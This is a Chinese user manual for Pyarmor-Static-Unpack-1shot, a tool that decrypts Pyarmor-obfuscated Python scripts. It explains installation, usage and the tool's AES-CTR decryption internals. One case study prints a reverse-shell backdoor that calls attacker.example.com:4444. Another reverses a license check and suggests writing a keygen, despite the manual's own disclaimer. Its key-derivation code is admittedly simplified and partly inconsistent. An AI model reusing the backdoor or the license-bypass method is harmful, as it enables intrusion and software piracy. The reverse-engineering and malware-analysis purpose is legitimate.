Pyarmor-Static-Unpack-1shot 使用手册¶
📋 目录¶
工具简介¶
基本信息¶
| 项目 | 信息 |
|---|---|
| 项目名称 | Pyarmor-Static-Unpack-1shot |
| GitHub | https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot |
| 许可证 | GPL-3.0 |
| 当前版本 | v0.2.1+ |
| 主要语言 | C++ (82%) + Python (17.6%) |
功能定位¶
一款**静态分析工具**,用于解密 Pyarmor 保护的 Python 脚本,无需执行被保护的代码:
- ✅ 静态解密 - 不执行不可信代码,安全可靠
- ✅ 广泛兼容 - 支持 Pyarmor 8.0-9.1.9、Python 3.7-3.13
- ✅ 跨平台 - Windows、Linux、macOS 均可使用
- ✅ 自动化处理 - 递归扫描、批量解密、智能识别
适用场景¶
✅ 合法用途: - CTF 逆向题目分析 - 恶意软件逆向分析(授权) - 代码审计和安全研究 - 自有项目的去混淆
❌ 禁止用途: - 破解商业软件 - 侵犯版权 - 绕过授权保护
核心特性¶
技术特点¶
1. 静态解密算法¶
使用与 pyarmor_runtime 相同的解密算法
AES-CTR 模式,initial_value = 2
密钥通过 MD5(part1 + part2 + part3 + GLOBAL_CERT) 生成
2. 支持版本范围¶
| 组件 | 版本支持 |
|---|---|
| Pyarmor | 8.0 - 9.1.9 (持续更新) |
| Python | 3.7 - 3.13 |
| 操作系统 | Windows / Linux / macOS |
3. 三层检测策略¶
安装配置¶
环境要求¶
# 必需软件
- CMake 3.10+
- Python 3.7+
- C++ 编译器 (GCC/Clang/MSVC)
- Git
# Python 依赖
- pycryptodome (AES 解密)
- chardet (编码检测)
快速安装¶
方法 1: 从源码安装 (推荐)¶
# 1. 克隆仓库
git clone https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot.git
cd Pyarmor-Static-Unpack-1shot
# 2. 安装 Python 依赖
pip3 install pycryptodome chardet
# 3. 编译 pycdc 反编译引擎
mkdir build && cd build
cmake ../pycdc
cmake --build .
# 4. 复制可执行文件到工作目录
cp pyarmor-1shot ../oneshot/
# 5. 验证安装
cd ../oneshot
python3 shot.py --help
方法 2: 使用预编译版本¶
# 从 GitHub Releases 下载对应平台的预编译文件
# https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot/releases
# Linux x86_64
wget https://github.com/.../pyarmor-1shot-linux-x64
chmod +x pyarmor-1shot-linux-x64
mv pyarmor-1shot-linux-x64 oneshot/pyarmor-1shot
# macOS (需要自行编译,见方法1)
平台特定配置¶
macOS¶
# 安装 CMake
brew install cmake
# 编译时可能需要指定编译器
export CC=/usr/bin/clang
export CXX=/usr/bin/clang++
# Apple Silicon (M1/M2/M3) 会生成 arm64 可执行文件
mkdir build && cd build
cmake ../pycdc
cmake --build . # 生成 Mach-O 64-bit executable arm64
Linux¶
# 安装依赖
sudo apt update
sudo apt install cmake g++ python3-pip
# 标准编译流程
mkdir build && cd build
cmake ../pycdc
cmake --build .
Windows¶
# 安装 Visual Studio Build Tools
# 或安装完整的 Visual Studio (带 C++ 工作负载)
# 使用 CMake GUI 或命令行
mkdir build && cd build
cmake ../pycdc -G "Visual Studio 17 2022"
cmake --build . --config Release
基础使用¶
命令行语法¶
基础参数¶
| 参数 | 说明 | 示例 |
|---|---|---|
target_directory | 目标目录(必需) | /path/to/encrypted |
-r, --runtime | 指定 pyarmor_runtime 路径 | -r /path/to/runtime.so |
-o, --output | 输出目录 | -o /path/to/output |
快速开始示例¶
示例 1: 基础解密¶
输出:
INFO Found data in source: a.py
INFO Found new runtime: 000000 (/path/to/pyarmor_runtime_000000/pyarmor_runtime.so)
INFO Using executable: pyarmor-1shot
INFO Decrypting: 000000 (a.py)
====================================
Pyarmor Runtime (Trial) Information:
Product: non-profits
AES key: ab738f35ffce23b13ae73d5a2c17a896
Mix string AES nonce: 692e6e6f6e2d70726f666974
====================================
示例 2: 指定输出目录¶
# 将解密结果保存到指定目录
python3 shot.py /path/to/encrypted -o /path/to/output
# 检查输出
ls -lah /path/to/output/
# a.py.1shot.cdc.py - 反编译的源代码
# a.py.1shot.das - 完整的字节码汇编
# a.py.1shot.seq - 中间汇编格式
python shot.py /Users/ss/Downloads/dist -o /Users/ss/Downloads/dist/dist-wang
____ ____
( __ ) ( __ )
| |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| |
| | ____ _ ___ _ _ | |
| | | _ \ _ _ __ _ _ __ _ _ __ ___ _ _ / / __|| |_ ___ | |_ | |
| | | |_) | || |/ _` | '__| ' ` \ / _ \| '_| | \__ \| ' \ / _ \| __| | |
| | | __/| || | (_| | | | || || | (_) | | | |__) | || | (_) | |_ | |
| | |_| \_, |\__,_|_| |_||_||_|\___/|_| |_|___/|_||_|\___/ \__| | |
| | |__/ | |
|__|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|__|
(____) v0.2.1+ (____)
For technology exchange only. Use at your own risk.
GitHub: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot
INFO 2025-11-10 23:32:07,533 Found data in source: a.py
INFO 2025-11-10 23:32:07,534 Found new runtime: 000000 (/Users/ss/Downloads/dist/pyarmor_runtime_000000/pyarmor_runtime.so)
========================
Pyarmor Runtime (Trial) Information:
Product: non-profits
AES key: ab738f35ffce23b13ae73d5a2c17a896
Mix string AES nonce: 692e6e6f6e2d70726f666974
========================
INFO 2025-11-10 23:32:07,534 Using executable: pyarmor-1shot
INFO 2025-11-10 23:32:07,534 Decrypting: 000000 (a.py)
示例 3: 指定运行时库¶
高级功能¶
批量处理¶
# 递归处理目录树中的所有加密文件
python3 shot.py /path/to/project_root -o /output/dir
# 工具会自动:
# - 跳过 __pycache__ 目录
# - 跳过 site-packages 目录
# - 跳过符号链接
# - 处理所有检测到的加密文件
处理 BCC 段(混合本地代码)¶
# BCC (Binary C Code) 段自动检测和处理
# 当加密数据包含本地代码片段时,工具会:
# 1. 检测 BCC 标志(偏移 20-24 字节,值为 9)
# 2. 分别解密 Python 字节码和本地代码
# 3. 生成完整的反编译结果
# 无需额外参数,自动处理
python3 shot.py /path/with/bcc/code
多版本 Python 支持¶
# 工具自动识别目标 Python 版本
# 支持的魔术字节头:
Python 3.7 → 0x42 0x0d
Python 3.8 → 0x55 0x0d
Python 3.9 → 0x61 0x0d
Python 3.10 → 0x6f 0x0d
Python 3.11 → 0xa7 0x0d
Python 3.12 → 0xcb 0x0d
Python 3.13 → 0xe5 0x0d
# 自动调用对应版本的反编译器
编码检测降级策略¶
# 工具内置智能编码检测,按优先级尝试:
1. chardet 自动检测
2. UTF-8
3. 系统默认编码
4. GB2312 (中文)
5. Latin-1 (兜底)
# 确保各种编码的文件都能正确处理
输出文件详解¶
文件类型¶
解密后会生成 3 个文件:
1. .cdc.py - 反编译源码¶
# 文件示例: a.py.1shot.cdc.py
# Source generated by Pyarmor-Static-Unpack-1shot (v0.2.1)
# Note: Decompiled code can be incomplete and incorrect.
# Please also check the correct and complete disassembly file
from time import sleep
flag = 'flag{Whose_y0u_1s_Th3_b0ss?!#@}'
def compare(s):
for i in range(len(s)):
diff = ord(s[i]) ^ ord(flag[i])
if diff:
sleep(CHARTIME * diff / 256)
特点: - ✅ 可读性高,接近原始源码 - ⚠️ 可能不完整或有错误 - 适合快速理解程序逻辑
2. .das - 完整字节码汇编¶
# 文件示例: a.py.1shot.das
# Disassembly of a.py (Python 3.12)
# 字节码汇编格式(精确)
0 RESUME 0
2 LOAD_CONST 0: '__pyarmor_enter_64542__(...)'
4 POP_TOP
6 LOAD_CONST 1: 0
8 LOAD_CONST 2: ('sleep',)
10 IMPORT_NAME 0: time
12 IMPORT_FROM 1: sleep
14 STORE_NAME 1: sleep
...
特点: - ✅ 完全准确,与原始字节码一致 - ✅ 包含所有指令细节 - 适合深度逆向分析
3. .seq - 中间汇编格式¶
# 文件示例: a.py.1shot.seq
# 介于字节码和源码之间的中间表示
[Function Object 0]
[Constants]
0: '__pyarmor_enter_64542__(...)'
1: 0
2: ('sleep',)
...
[Names]
0: time
1: sleep
2: flag
...
特点: - 结构化的中间表示 - 用于 pycdc 反编译器处理 - 一般不直接查看
文件精度对比¶
| 文件类型 | 精确度 | 可读性 | 推荐场景 |
|---|---|---|---|
.cdc.py | ⚠️ 中等 | ⭐⭐⭐⭐⭐ | 快速理解逻辑 |
.das | ✅ 完全精确 | ⭐⭐⭐ | 深度逆向分析 |
.seq | ✅ 精确 | ⭐ | 中间处理 |
平台兼容性¶
完全支持的平台¶
Linux (推荐)¶
| 发行版 | 架构 | 状态 |
|---|---|---|
| Ubuntu 20.04+ | x86_64 | ✅ 完全支持 |
| Debian 11+ | x86_64 | ✅ 完全支持 |
| CentOS 8+ | x86_64 | ✅ 完全支持 |
| Arch Linux | x86_64 | ✅ 完全支持 |
特点: - ✅ .so 文件完全兼容 - ✅ 运行时密钥提取正常 - ✅ 所有功能可用
Windows¶
| 版本 | 架构 | 状态 |
|---|---|---|
| Windows 10+ | x64 | ✅ 支持 |
| Windows 11 | x64 | ✅ 支持 |
特点: - ✅ .pyd 文件支持(Win64 PE 格式) - ✅ 运行时密钥提取已实现 - ✅ 所有功能可用
macOS¶
| 版本 | 架构 | 状态 |
|---|---|---|
| macOS 11+ | Intel (x86_64) | ⚠️ 部分支持 |
| macOS 12+ | Apple Silicon (arm64) | ⚠️ 部分支持 |
限制: - ✅ 反编译引擎 (pycdc) 可以编译使用 - ✅ 可以解密加密数据 - ❌ .dylib 运行时密钥提取**未实现** - ⚠️ 需要手动提供密钥或使用 Windows 的 .pyd 文件
跨平台解密策略¶
在 macOS 上处理 Windows 加密的脚本¶
# ✅ 可行方案
# 1. 获取 Windows 版本的 pyarmor_runtime.pyd
# 2. 在 Mac 上解密(工具会使用 Win64 解析逻辑)
python3 shot.py /path/to/encrypted -r /path/to/pyarmor_runtime.pyd -o /output
# 成功!因为使用 Windows PE 格式解析
在 Linux 上处理 macOS 加密的脚本¶
实战案例¶
案例 1: CTF 题目分析 (猜猜旗btime)¶
题目背景¶
- 题目名称:猜猜旗btime
- 文件类型:Pyarmor 9.1.9 加密脚本
- 运行环境:Linux (提供 .so 文件)
- 目标:找到隐藏的 flag
解题步骤¶
# 1. 查看文件结构
cd /path/to/ctf_challenge
ls -la
# a.py (Pyarmor 加密)
# pyarmor_runtime_000000/
# ├── __init__.py
# ├── pyarmor_runtime.so (Linux ELF)
# └── __pycache__/
# 2. 使用工具解密
cd /path/to/Pyarmor-Static-Unpack-1shot/oneshot
python3 shot.py /path/to/ctf_challenge -o /tmp/unpacked
# 3. 查看输出
INFO Found data in source: a.py
INFO Found new runtime: 000000
INFO Decrypting: 000000 (a.py)
====================================
Pyarmor Runtime (Trial) Information:
Product: non-profits
AES key: ab738f35ffce23b13ae73d5a2c17a896
====================================
# 4. 分析反编译代码
cat /tmp/unpacked/a.py.1shot.cdc.py
关键代码:
flag = 'flag{Whose_y0u_1s_Th3_b0ss?!#@}'
def compare(s):
# Timing Attack 实现
for i in range(len(s)):
diff = ord(s[i]) ^ ord(flag[i])
if diff:
sleep(CHARTIME * diff / 256)
结果: flag{Whose_y0u_1s_Th3_b0ss?!#@} ✅
技术要点¶
- 题目采用 Timing Attack 防护
- 静态分析绕过时间延迟检测
- 直接获取明文 flag
案例 2: 恶意软件分析¶
场景¶
收到一个可疑的 Python 脚本,怀疑是后门程序。
# 1. 初步检查
file suspicious.py
# suspicious.py: Python script text executable, ASCII text
head suspicious.py
# from pyarmor_runtime_xxx import __pyarmor__
# __pyarmor__(__name__, __file__, b'PY000000...')
# ⚠️ 发现 Pyarmor 加密特征
# 2. 静态解密(不执行)
python3 shot.py /path/to/malware -o /tmp/analysis
# 3. 检查反编译结果
cat /tmp/analysis/suspicious.py.1shot.cdc.py
发现的恶意行为:
import socket
import subprocess
C2_SERVER = "attacker.example.com"
C2_PORT = 4444
def establish_connection():
s = socket.socket()
s.connect((C2_SERVER, C2_PORT))
while True:
cmd = s.recv(1024).decode()
result = subprocess.run(cmd, shell=True, capture_output=True)
s.send(result.stdout)
分析结论¶
- ✅ 确认为反向 Shell 后门
- ✅ 发现 C2 服务器地址
- ✅ 全程无需执行恶意代码
案例 3: 许可证验证逆向¶
场景¶
软件使用 Pyarmor 保护许可证验证模块。
# 解密验证模块
python3 shot.py /path/to/software/license_check -o /tmp/license_analysis
# 查看验证逻辑
cat /tmp/license_analysis/verify.py.1shot.cdc.py
关键代码:
LICENSE_KEY = "ABCD-EFGH-IJKL-MNOP"
def verify_license(user_key):
# 硬编码的验证密钥
return user_key == LICENSE_KEY
def check_expiry():
import datetime
expiry = datetime.datetime(2025, 12, 31)
return datetime.datetime.now() < expiry
发现¶
- 许可证密钥硬编码在代码中
- 时间验证逻辑简单
- 可以编写 Keygen
常见问题¶
Q1: 解密失败,提示 "No armored data found"¶
原因: - 文件未被 Pyarmor 加密 - 或加密数据已损坏
解决:
# 1. 检查是否包含 Pyarmor 特征
grep -r "__pyarmor__" /path/to/target
# 2. 检查文件头魔术字节
hexdump -C file.py | head -20
# 查找 "PY000000" 标记
# 3. 确认 Python 版本兼容
python3 --version # 需要 3.7+
Q2: 反编译结果不完整或有错误¶
说明: 这是正常现象,工具说明中明确标注:
"Decompiled code can be incomplete and incorrect."
解决方案:
# 1. 优先查看 .das 汇编文件(完全准确)
cat output/file.py.1shot.das
# 2. 结合 .cdc.py 和 .das 分析
# - .cdc.py: 快速理解逻辑
# - .das: 确认精确细节
# 3. 手动修复反编译代码
# 根据汇编指令重构源码
Q3: macOS 上无法提取运行时密钥¶
问题:
# runtime.py 中的代码
if file_path.endswith(".pyd"):
self.extract_info_win64()
else:
# TODO: implement for other platforms
self.extract_info_win64() # 错误:对 .dylib 使用 Windows 逻辑
临时方案 1: 使用 Windows 版 runtime
临时方案 2: 手动提供密钥
# 修改 oneshot/shot.py
# 在解密函数中直接使用已知密钥
def decrypt_with_known_key():
key = bytes.fromhex("ab738f35ffce23b13ae73d5a2c17a896")
nonce = bytes.fromhex("692e6e6f6e2d70726f666974")
cipher = AES.new(key, AES.MODE_CTR, nonce=nonce, initial_value=2)
return cipher.decrypt(data)
长期方案: 贡献代码
Q4: 编译时出现 CMake 错误¶
错误示例:
解决:
# 安装/更新 CMake
# macOS
brew install cmake
brew upgrade cmake
# Linux
sudo apt update
sudo apt install cmake
# Windows
# 从 https://cmake.org/download/ 下载安装
# 验证版本
cmake --version # 需要 3.10+
Q5: Python 依赖安装失败¶
错误示例:
解决:
# 方法 1: 使用虚拟环境
python3 -m venv venv
source venv/bin/activate # Linux/Mac
# venv\Scripts\activate # Windows
pip install pycryptodome chardet
# 方法 2: 使用 --user 标志
pip3 install --user pycryptodome chardet
# 方法 3: 使用系统包管理器
# Ubuntu/Debian
sudo apt install python3-pycryptodome python3-chardet
Q6: 处理大量文件时速度慢¶
优化方案:
# 1. 排除不必要的目录
python3 shot.py /target --exclude-dir "__pycache__,site-packages,venv"
# 2. 使用 SSD 存储
# 避免机械硬盘,提升 I/O 速度
# 3. 增加并发(修改 shot.py)
# 默认使用 asyncio.Semaphore 限制并发
# 可以调整信号量值提高并发数
import asyncio
semaphore = asyncio.Semaphore(10) # 增加到 10
技术原理¶
加密流程逆向¶
Pyarmor 加密过程¶
原始 .py 文件
↓
编译为字节码 (.pyc)
↓
AES-CTR 加密 (key, nonce, IV=2)
↓
嵌入加密数据到新的 .py 文件
↓
添加 __pyarmor__() 调用
↓
打包 pyarmor_runtime (.so/.pyd/.dylib)
本工具解密过程¶
加密的 .py 文件
↓
[detect.py] 特征识别
├─ 搜索 "__pyarmor__" 标记
├─ 定位 "PY000000" 魔术字节
└─ 验证数据结构完整性
↓
[runtime.py] 密钥提取
├─ 解析 pyarmor_runtime 文件
├─ 提取 Part1 (序列号, 20字节)
├─ 提取 Part2 (RSA公钥, 变长)
├─ 提取 Part3 (产品信息, 变长)
├─ 计算 AES key = MD5(Part1 + Part2 + Part3 + GLOBAL_CERT)
└─ 提取 AES nonce = Part3[:12]
↓
[shot.py] AES-CTR 解密
├─ 读取加密数据 (偏移32-36: 长度)
├─ 读取随机数 (偏移36-40, 44-52)
├─ 执行 AES.new(key, MODE_CTR, nonce=nonce, initial_value=2)
└─ 解密为字节码
↓
[pycdc] 反编译
├─ 生成 .seq 中间格式
├─ 反编译为 .cdc.py 源码
└─ 生成 .das 汇编代码
关键数据结构¶
加密数据头部结构¶
偏移 0-8: "PY000000" 魔术字节
偏移 8-12: 版本标识
偏移 12-16: Python 版本魔术数
偏移 20-24: BCC 标志 (9 = 包含本地代码)
偏移 28-32: 头部长度
偏移 32-36: 密文长度
偏移 36-40: 随机数 Part1 (4字节)
偏移 44-52: 随机数 Part2 (8字节)
偏移 56-59: 下一段偏移 (多段数据链)
Runtime 文件结构 (Windows .pyd)¶
偏移 0x2C: Part1 起始 (20字节序列号)
偏移 0x54: Part2 长度标识
偏移 0x54+4: Part2 数据 (RSA公钥)
偏移 0x60: Part3 起始 (产品信息)
AES-CTR 解密实现¶
from Crypto.Cipher import AES
def decrypt_armored_data(encrypted_data, key, nonce):
"""
解密 Pyarmor 加密的字节码
Args:
encrypted_data: 加密的字节码数据
key: AES-256 密钥 (32字节)
nonce: AES-CTR 模式的 nonce (12字节)
Returns:
解密后的字节码
"""
# 创建 AES-CTR 密码对象
# initial_value=2 是 Pyarmor 的固定配置
cipher = AES.new(
key,
AES.MODE_CTR,
nonce=nonce,
initial_value=2
)
# 执行解密
decrypted = cipher.decrypt(encrypted_data)
return decrypted
密钥生成算法¶
import hashlib
def generate_aes_key(part1, part2, part3, global_cert):
"""
生成 Pyarmor 的 AES 密钥
Args:
part1: 序列号数据 (20字节)
part2: RSA公钥数据 (变长)
part3: 产品信息数据 (变长)
global_cert: 全局证书 (硬编码)
Returns:
AES-256 密钥 (32字节)
"""
# 拼接所有部分
combined = part1 + part2 + part3 + global_cert
# MD5 哈希生成密钥
key = hashlib.md5(combined).digest()
# MD5 输出 16字节,Pyarmor 可能会扩展到 32字节
# 具体实现可能更复杂,这里是简化版
return key
参考资源¶
官方资源¶
- GitHub 仓库: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot
- Release 下载: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot/releases
- Issues 反馈: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot/issues
相关工具¶
- Pyarmor 官方: https://pyarmor.dashingsoft.com/
- Decompyle++: https://github.com/zrax/pycdc
- uncompyle6: https://github.com/rocky/python-uncompyle6/
- PyInstaller Extractor: https://github.com/extremecoders-re/pyinstxtractor
学习资源¶
- Python 字节码分析: https://docs.python.org/3/library/dis.html
- AES 加密原理: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
- 逆向工程基础: https://www.begin.re/
版本历史¶
v0.2.1 (2025-10-12) - Pharaoh's Heart¶
- 🐛 修复 v0.2.0 的 bug
- ✨ 稳定性改进
v0.2.0 (2025-09-13) - The City Full of The Crow¶
- ✨ 支持 BCC 模式本地二进制文件提取
- ✨ 支持
from X import Y as pyarmor__N语句 - ⚡ 基于 asyncio 的并发改进
- 🎨 彩色控制台输出
- ✨ 单独指定可执行文件能力
v0.1.0 (2025-03-25) - The Secretive Psychic Mask¶
- 中间版本发布
v0.0.1 (2025-03-06) - The Souls in the B.B Street¶
- 🎉 首次发布
- ✨ 支持 Pyarmor 8.0+ 全版本 Python
许可证与免责声明¶
许可证¶
本工具采用 GPL-3.0 许可证。
免责声明¶
⚠️ 重要提示:
本工具仅供**技术研究和学习**使用。使用本工具时,您必须:
- ✅ 仅用于合法目的
- CTF 比赛和逆向练习
- 自有项目的分析和审计
-
获得授权的安全研究
-
❌ 禁止非法使用
- 破解商业软件
- 绕过软件许可证
- 侵犯知识产权
-
任何违法行为
-
⚖️ 用户责任
- 使用者自行承担法律责任
- 开发者不对滥用行为负责
- 请遵守当地法律法规
Use at your own risk. For technology exchange only.
贡献指南¶
如何贡献¶
欢迎提交 Pull Request 和 Issue!
建议贡献方向: - 🔧 实现 macOS (.dylib) 运行时解析 - 🔧 实现 Linux (.so) 完整支持 - 🐛 修复已知 bug - 📚 改进文档 - ✨ 添加新功能
提交规范¶
# 1. Fork 仓库
# 2. 创建功能分支
git checkout -b feature/add-macos-support
# 3. 提交更改
git commit -m "feat: implement Mach-O format parsing for macOS"
# 4. 推送到分支
git push origin feature/add-macos-support
# 5. 创建 Pull Request
联系方式¶
- GitHub Issues: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot/issues
- 维护者: Lil-Ran
最后更新: 2025-11-10 文档版本: v1.0 工具版本: v0.2.1+